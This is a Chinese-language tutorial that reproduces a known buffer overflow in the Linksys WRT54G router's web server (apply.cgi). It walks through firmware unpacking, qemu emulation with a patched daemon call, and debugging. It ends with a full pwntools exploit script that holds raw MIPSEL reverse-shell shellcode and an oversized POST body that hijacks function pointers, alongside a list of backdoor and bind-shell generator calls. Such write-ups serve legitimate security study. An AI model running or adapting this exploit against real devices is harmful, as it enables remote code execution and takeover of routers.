漏洞介绍

https://www.exploit-db.com/exploits/10028

image-20241009201006639

由漏洞报告可知,该漏洞存在于此路由器Web服务器程序HTTPD的apply.cgi处理脚本中,是由于POST发送的数据data超过10000导致的溢出。

前置步骤

固件下载

1
https://gitee.com/xj96/router-firmware/raw/master/linksys_wrt54gv2_fw4007.zip

固件解包

1
binwalk -Me WRT54GV3.1_4.00.7_US_code.bin

漏洞分析

定位漏洞程序

1
find . -name 'httpd*'

image-20241009201143302

查看程序架构

1
readelf -h ./usr/sbin/httpd

image-20241009201156741

MIPSEL的32位程序

代码分析

image-20241009201801503

定位到apply_cgi函数,交叉引用到sub_4113A0函数,发现无法再进行向上查看调用函数,说明如果想让程序走到这个函数必须先让httpd服务跑起来,当http处理POST请求的时候则会进入到sub_4113A0函数进而执行apply_cgi函数。

运行环境修复(方式1)

1
sudo chroot . ./qemu-mipsel-static ./usr/sbin/httpd

image-20241009202838511

发现缺少nvram文件,那自己创建一个文件即可。

1
touch ./dev/nvram

发现还是没有成功启动http服务,但是又没有回显,所以需要开始调试找一下程序崩溃的原因。

image-20241009202948988

gdb调试下断点走到main函数,发现需要创建httdp.pid文件并且80端口不能被其它服务占用

image-20241009203138272

1
2
mkdir ./tmp/run
touch ./tmp/run/httpd.pid

之后再次运行,当调用daemon函数时,程序会直接发生崩溃,查阅了一下这个函数,发现跟守护进程相关,我们的目的就只是让httpd程序能成功运行起来,所以我选择直接patch掉这段逻辑,强行绕过。

image-20241009203647009

image-20241009203751002

patch之后

jarl t9直接给nop

image-20241009203739355

image-20241009203827856

成功绕过daemon函数逻辑,再继续尝试运行httpd,发现可以运行成功

image-20241009203934901

这一部分逻辑对应的就是httpd成功运行,http服务不断接收请求包.

发包请求

1
curl -X POST http://127.0.0.1/apply.cgi

当向httpd发送apply.cgi的POST请求时,就会调用apply_cgi函数处理这个请求,我们可以在这个apply_cgi函数处下断,然后再发一次POST请求包,即可成功让程序断到apply_cgi函数处。

image-20241009204227637

然后在POST请求包中发送超过10000字节的数据来验证一下漏洞

image-20241009205737697

可以发现是因为post_buf导致的data段溢出,10000字节就是post_buf的大小,所以发送超10000字节即可完成溢出。

image-20241009205712117

利用思路

因为导致的是data段溢出,所以可以利用溢出覆盖extern中的函数地址,在post_buf中构造好nop滑块以及shellcode后,通过劫持函数地址跳转到post_buf中通过滑块执行到shellcode即可

EXP

调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process(f'chroot . ./qemu-mipsel-static -g 1234 ./usr/sbin/httpd'.split( ))
gdb.attach(('127.0.0.1',1234),'''
b *0x004100FC
sleep(2)
''',exe='./usr/sbin/httpd')
elf = ELF('./usr/sbin/httpd')
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./usr/sbin/httpd')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------

inter()

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from hackebds import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('127.0.0.1', 80)
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
# >>> mipsel_backdoor(reverse_ip,reverse_port)
# >>> mips_backdoor(reverse_ip,reverse_port)
# >>> aarch64_backdoor(reverse_ip,reverse_port)
# >>> armelv5_backdoor(reverse_ip,reverse_port)
# >>> armelv7_backdoor(reverse_ip,reverse_port)
# >>> armebv5_backdoor(reverse_ip,reverse_port)
# >>> armebv7_backdoor(reverse_ip,reverse_port)
# >>> mips64_backdoor(reverse_ip,reverse_port)
# >>> mips64el_backdoor(reverse_ip,reverse_port)
# >>> x86el_backdoor(reverse_ip,reverse_port)
# >>> x64el_backdoor(reverse_ip, reverse_port)
# >>> sparc_backdoor(reverse_ip, reverse_port)#big endian
# >>> powerpc_backdoor(reverse_ip, reverse_port)
# >>> powerpcle_backdoor(reverse_ip, reverse_port)
# >>> powerpc64_backdoor(reverse_ip, reverse_port)
# >>> powerpc64le_backdoor(reverse_ip, reverse_port)
# >>> x86_bind_shell(listen_port, passwd)
# >>> x64_bind_shell(listen_port, passwd)
# >>> armelv7_bind_shell(listen_port, passwd)
# >>> aarch64_ bind_ shell(listen_port, passwd)
# >>> mips_bind_shell(listen_port, passwd)
# >>> mipsel_bind_shell(listen_port, passwd)
# >>> sparc_bind_shell(listen_port, passwd)
# >>> powerpc_bind_shell(listen_port, passwd)

# shellcode=mipsel_reverse_sl("127.0.0.1",5566)
shellcode = b'\xfd\xff\x19\x24\x27\x20\x20\x03\xff\xff\x06\x28\x57\x10\x02\x34\xfc\xff\xa4\xaf\xfc\xff\xa5\x8f\x0c\x01\x01\x01\xfc\xff\xa2\xaf\xfc\xff\xb0\x8f\xea\x41\x19\x3c\xfd\xff\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xff\xfe\x19\x3c\x80\xff\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\xfc\xff\xb0\xaf\xfc\xff\xa4\x8f\x20\x28\xa0\x03\xef\xff\x19\x24\x27\x30\x20\x03\x4a\x10\x02\x34\x0c\x01\x01\x01\xf7\xff\x85\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfe\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfd\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01\x00\x00\x00\x00'

DATA = b'data='

# shellcode = asm(shellcraft.sh())
post_data = shellcode.rjust(0x2700-5,b'\x00')
post_data = DATA + post_data
post_data += p32(0x10001ae0)*(0x9000//4)

# 构建HTTP请求头
http_request = b"POST /apply.cgi HTTP/1.1\r\n"
http_request += b"Host: " + b'127.0.0.1' + b"\r\n"
http_request += b"Content-Length: " + str(len(post_data)).encode() + b"\r\n"
http_request += b"Content-Type: application/x-www-form-urlencoded\r\n"
http_request += b"\r\n"
http_request += post_data

sl(http_request)


inter()

image-20241009210136671

image-20241009210152856

运行环境修复(方式2)

以上是自己强行patch程序逻辑的,只是一种取巧的方式,在书中以及网上其它部分文章是通过修复NVRAM,这里不再详细进行阐述,可以参考https://wooyun.js.org/drops/1466493268.html